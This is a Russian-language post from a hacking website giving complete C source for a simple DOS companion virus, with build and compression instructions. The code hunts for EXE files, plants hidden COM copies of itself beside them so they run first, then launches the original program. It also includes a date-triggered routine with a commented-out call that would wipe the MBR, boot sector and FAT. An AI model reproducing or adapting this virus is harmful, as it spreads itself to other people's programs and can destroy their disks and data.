Информация сайта компьютерной безопасности <<< Hack Style >>> made by 'l0ck' //[ PVL ] KAPMAH опять моя лень... //сдирать хоть и такое простое с точки зрения написания куда проще //чем писать все самому целых примерно 15мин -- тем более я вири не люблю за их неактуальность !!! В общем простенький HLLC. Компилил я его на BC++, · но вроде будет и на TC 2.0 работать, а если не будет - · переделать его под Турбины как два пальца об асфальт :) · Компилируйте в ЕХЕ, переименуйте в СОМ и DIET -I MUTE.COM · Размер после сжатия - 10108. Если в Activate() убрать · коментарий с abswrite() то, если месяц будет в N раз больше · дня то настанет хана MBR, BOOT и FAT (N - число аргументов · в командной строке). #include // Подключаем #include // стандартные #include // header-файлы #include // ........... int h; // Handle long size; // Hаша длина. char *me; // Переменная имени victim. char *buf; // Буфер, куда читаем себя. int i, k, yes, exist; // Переменные для Infect и RunVict. struct ffblk ffblk; //................................. void Infect() // Функция заражения. { // Ищем ехе-шники -----------------------------+ yes = findfirst("*.EXE", &ffblk, FA_ARCH|FA_RDONLY|FA_HIDDEN); // <---| while (!yes&&!k) { strcpy(me, ffblk.ff_name); for(i = 1; i < 8; i++) // Если нашли - if(me[i] == '.') break; // подставляем i++; // к нему ext. me[i++] = 'C'; // СОМ me[i++] = 'O'; // ............. me[i++] = 'M'; // ............. exist = _open(me, FA_RDONLY); // Проверка: if(exist == -1) { // Если такого h = _creat(me, 0); // файла *.com _write(h, buf, size); // нету, создаем _close(h); // его и пишем в _chmod(me, 1, FA_HIDDEN); // него себя, потом k = 1; // делаем Hidden } // и уходим. findnext(&ffblk); // Если есть } free(buf); // ищем другой файл } // буфер свободен. // Функция запуска настояшего файла. --------------------------------+ void RunVict(char *me, char *argv[]) // <------| { //................ for(i = 1; i < 255; i++) // К своему имени if(me[i] == '.') break; // прибавляем i++; // расширение me[i++] = 'E'; // ЕХЕ и получаем me[i++] = 'X'; // имя жертвы. me[i++] = 'E'; // .............. execv(me, argv); // И запускаем!!! } // // Функция активации.--------------------------------------------------+ void Activate(int n) // <-------+ { // _AH = 0x2A; __int__(0x21); if(_DH == 11&& _DL == 3) { printf(" -----------------------¬ \n"); printf(" ¦ Happy Birthday to U! ¦ \n"); printf("---- Happy Birthday to U! L--¬\n"); printf("¦ Happy Birthday dear 10ck! ¦\n"); printf("L--¬ Happy Birthday to U! ----\n"); printf("В свой день рождения я ничего \n"); printf(" не буду зар0жать!!! "); exit(0); } if(n*_DL == _DH) { // abswrite(2, 5, 0, (void*), 0); //Trash BOOT, MBR, FAT. } } // Главная функция -----------------------------------------------+ void main(int argc, char *argv[]) // <-------| { //............... Activate(argc); // Активируем? h = _open(argv[0], O_RDONLY); // Открываем себя size = filelength(h); // смотрим размер (char *) buf = malloc(size); // выделяем память _read(h, buf, size); // читаем себя и _close(h); // закрываем себя. Infect(); // Заражаем. RunVict(argv[0], argv); // Запускаем orig. } // .............. Все права защищены ~< KAPMAH >~ www.HackStyle.narod.ru